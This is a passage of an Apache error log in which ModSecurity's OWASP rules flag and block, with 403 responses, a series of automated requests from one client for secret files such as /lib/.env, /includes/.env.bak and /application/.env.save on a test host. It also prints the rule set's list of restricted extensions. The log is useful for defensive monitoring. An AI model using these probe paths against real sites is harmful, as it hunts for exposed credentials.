[Thu Oct 30 20:06:54.444953 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aQO3TpdseHRrfd8_FeKIfgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:54.445153 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aQO3TpdseHRrfd8_FeKIfgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:54.445403 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aQO3TpdseHRrfd8_FeKIfgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:54.445629 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aQO3TpdseHRrfd8_FeKIfgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:54.951051 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aQO3TpdseHRrfd8_FeKIfwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:54.951251 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aQO3TpdseHRrfd8_FeKIfwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:54.951505 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aQO3TpdseHRrfd8_FeKIfwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:54.951741 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aQO3TpdseHRrfd8_FeKIfwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:55.466097 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aQO3T5dseHRrfd8_FeKIgAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:55.466416 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aQO3T5dseHRrfd8_FeKIgAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:55.466655 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aQO3T5dseHRrfd8_FeKIgAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:55.972388 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aQO3T5dseHRrfd8_FeKIgQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:55.972647 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aQO3T5dseHRrfd8_FeKIgQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:55.972856 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aQO3T5dseHRrfd8_FeKIgQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:56.477182 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aQO3UJdseHRrfd8_FeKIggAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:56.477370 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aQO3UJdseHRrfd8_FeKIggAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:56.477617 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aQO3UJdseHRrfd8_FeKIggAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:56.477830 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aQO3UJdseHRrfd8_FeKIggAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:56.981322 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aQO3UJdseHRrfd8_FeKIgwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:56.981523 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aQO3UJdseHRrfd8_FeKIgwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:56.981764 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aQO3UJdseHRrfd8_FeKIgwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:56.981965 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aQO3UJdseHRrfd8_FeKIgwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:57.495469 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aQO3UZdseHRrfd8_FeKIhAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:57.495750 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aQO3UZdseHRrfd8_FeKIhAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:57.495998 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aQO3UZdseHRrfd8_FeKIhAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:58.001690 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aQO3UpdseHRrfd8_FeKIhQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:58.001983 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aQO3UpdseHRrfd8_FeKIhQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:58.002208 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aQO3UpdseHRrfd8_FeKIhQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:58.505238 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag 